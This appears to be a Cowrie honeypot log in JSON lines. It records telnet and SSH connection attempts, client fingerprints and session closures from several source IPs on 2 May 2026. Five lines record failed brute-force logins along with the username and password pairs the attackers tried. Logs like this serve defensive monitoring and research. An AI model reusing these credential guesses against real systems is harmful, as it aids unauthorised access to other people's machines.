{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51296,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f2d106233c8","protocol":"telnet","message":"New connection: 174.138.46.234:51296 (159.203.135.109:23) [session: 2f2d106233c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:23.131811Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51354,"dst_ip":"159.203.135.109","dst_port":23,"session":"9478a96094ec","protocol":"telnet","message":"New connection: 174.138.46.234:51354 (159.203.135.109:23) [session: 9478a96094ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:23.353184Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51394,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cd2a7196b64","protocol":"telnet","message":"New connection: 174.138.46.234:51394 (159.203.135.109:23) [session: 9cd2a7196b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:23.485260Z"}
{"eventid":"cowrie.session.closed","duration":6.042876958847046,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:28.009205Z","src_ip":"174.138.46.234","session":"7ae733896dd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.974124431610107,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:28.105815Z","src_ip":"174.138.46.234","session":"2f2d106233c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":45350,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad4e440fa1d8","protocol":"telnet","message":"New connection: 188.95.113.134:45350 (159.203.135.109:23) [session: ad4e440fa1d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:28.913400Z"}
{"eventid":"cowrie.session.closed","duration":5.882982015609741,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:29.236075Z","src_ip":"174.138.46.234","session":"9478a96094ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.054675340652466,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:29.539818Z","src_ip":"174.138.46.234","session":"9cd2a7196b64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":49710,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a01b309bfa9","protocol":"telnet","message":"New connection: 188.95.113.134:49710 (159.203.135.109:23) [session: 8a01b309bfa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:39.554436Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":35430,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dffa349f5a7","protocol":"ssh","message":"New connection: 59.17.95.129:35430 (10.17.0.5:22) [session: 2dffa349f5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:41.935847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:41.940332Z","src_ip":"59.17.95.129","session":"2dffa349f5a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:42.148721Z","src_ip":"59.17.95.129","session":"2dffa349f5a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqaz123","message":"login attempt [root/qweqaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:42.986807Z","src_ip":"59.17.95.129","session":"2dffa349f5a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:44.190999Z","src_ip":"59.17.95.129","session":"2dffa349f5a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":54462,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ad6965a6a90","protocol":"telnet","message":"New connection: 188.95.113.134:54462 (159.203.135.109:23) [session: 6ad6965a6a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:46.825490Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":54474,"dst_ip":"159.203.135.109","dst_port":23,"session":"102b9f3a1c3f","protocol":"telnet","message":"New connection: 188.95.113.134:54474 (159.203.135.109:23) [session: 102b9f3a1c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:51.961875Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59938,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea88eafa51f3","protocol":"telnet","message":"New connection: 174.138.46.234:59938 (159.203.135.109:23) [session: ea88eafa51f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:53.444600Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59900,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2456a5fac8a","protocol":"telnet","message":"New connection: 174.138.46.234:59900 (159.203.135.109:23) [session: f2456a5fac8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:54.257902Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60406,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ab69a9e3764","protocol":"telnet","message":"New connection: 174.138.46.234:60406 (159.203.135.109:23) [session: 3ab69a9e3764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:56.382845Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":36798,"dst_ip":"159.203.135.109","dst_port":23,"session":"db170800d818","protocol":"telnet","message":"New connection: 64.41.88.162:36798 (159.203.135.109:23) [session: db170800d818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:57.693735Z"}
{"eventid":"cowrie.session.closed","duration":30.203641891479492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:59.116894Z","src_ip":"188.95.113.134","session":"ad4e440fa1d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.970271348953247,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:01:59.228076Z","src_ip":"174.138.46.234","session":"f2456a5fac8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.039607524871826,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:03.422354Z","src_ip":"174.138.46.234","session":"3ab69a9e3764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":58258,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3a7bbd0717d","protocol":"ssh","message":"New connection: 209.38.20.25:58258 (159.203.135.109:22) [session: d3a7bbd0717d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:09.752824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:09.757392Z","src_ip":"209.38.20.25","session":"d3a7bbd0717d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:09.972422Z","src_ip":"209.38.20.25","session":"d3a7bbd0717d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.55125093460083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:10.105545Z","src_ip":"188.95.113.134","session":"8a01b309bfa9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"77777777","message":"login attempt [ubuntu/77777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:10.848078Z","src_ip":"209.38.20.25","session":"d3a7bbd0717d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:12.063473Z","src_ip":"209.38.20.25","session":"d3a7bbd0717d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.331966161727905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:17.157346Z","src_ip":"188.95.113.134","session":"6ad6965a6a90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.343017101287842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:23.304802Z","src_ip":"188.95.113.134","session":"102b9f3a1c3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":39828,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bb5c640ff22","protocol":"ssh","message":"New connection: 202.145.0.61:39828 (10.17.0.5:22) [session: 3bb5c640ff22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:25.023513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:25.038785Z","src_ip":"202.145.0.61","session":"3bb5c640ff22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40102,"dst_ip":"159.203.135.109","dst_port":23,"session":"07420368314f","protocol":"telnet","message":"New connection: 174.138.46.234:40102 (159.203.135.109:23) [session: 07420368314f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:25.106146Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:25.272931Z","src_ip":"202.145.0.61","session":"3bb5c640ff22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40524,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bc5dca1465c","protocol":"telnet","message":"New connection: 174.138.46.234:40524 (159.203.135.109:23) [session: 2bc5dca1465c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:25.550969Z"}
{"eventid":"cowrie.login.failed","username":"sftpadmin","password":"sftpadmin123","message":"login attempt [sftpadmin/sftpadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:26.239941Z","src_ip":"202.145.0.61","session":"3bb5c640ff22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:27.475811Z","src_ip":"202.145.0.61","session":"3bb5c640ff22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40702,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c6cac46e7b8","protocol":"telnet","message":"New connection: 174.138.46.234:40702 (159.203.135.109:23) [session: 3c6cac46e7b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:29.097096Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41668,"dst_ip":"159.203.135.109","dst_port":23,"session":"187bae77d1d2","protocol":"telnet","message":"New connection: 174.138.46.234:41668 (159.203.135.109:23) [session: 187bae77d1d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:29.338906Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41442,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6fd10172e02","protocol":"telnet","message":"New connection: 174.138.46.234:41442 (159.203.135.109:23) [session: d6fd10172e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:29.613944Z"}
{"eventid":"cowrie.session.closed","duration":32.63624548912048,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:30.329866Z","src_ip":"64.41.88.162","session":"db170800d818","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.952088832855225,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:31.058159Z","src_ip":"174.138.46.234","session":"07420368314f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.1861701011657715,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:33.283147Z","src_ip":"174.138.46.234","session":"3c6cac46e7b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.901839017868042,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:34.515684Z","src_ip":"174.138.46.234","session":"d6fd10172e02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.766418218612671,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:36.105211Z","src_ip":"174.138.46.234","session":"187bae77d1d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":49216,"dst_ip":"10.17.0.5","dst_port":22,"session":"02e634a19f4d","protocol":"ssh","message":"New connection: 59.17.95.129:49216 (10.17.0.5:22) [session: 02e634a19f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:37.148935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:37.152683Z","src_ip":"59.17.95.129","session":"02e634a19f4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:37.350409Z","src_ip":"59.17.95.129","session":"02e634a19f4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4rfv5tgb","message":"login attempt [root/4rfv5tgb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:38.175861Z","src_ip":"59.17.95.129","session":"02e634a19f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:39.377157Z","src_ip":"59.17.95.129","session":"02e634a19f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.38498067855835,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:02:44.829467Z","src_ip":"174.138.46.234","session":"ea88eafa51f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":33846,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cbc1209bff9","protocol":"ssh","message":"New connection: 209.38.20.25:33846 (159.203.135.109:22) [session: 2cbc1209bff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:04.103296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:04.108477Z","src_ip":"209.38.20.25","session":"2cbc1209bff9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:04.321600Z","src_ip":"209.38.20.25","session":"2cbc1209bff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devopsuser","password":"123456","message":"login attempt [devopsuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:05.199765Z","src_ip":"209.38.20.25","session":"2cbc1209bff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:06.414023Z","src_ip":"209.38.20.25","session":"2cbc1209bff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.134278297424316,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:11.685146Z","src_ip":"174.138.46.234","session":"2bc5dca1465c","protocol":"telnet"}
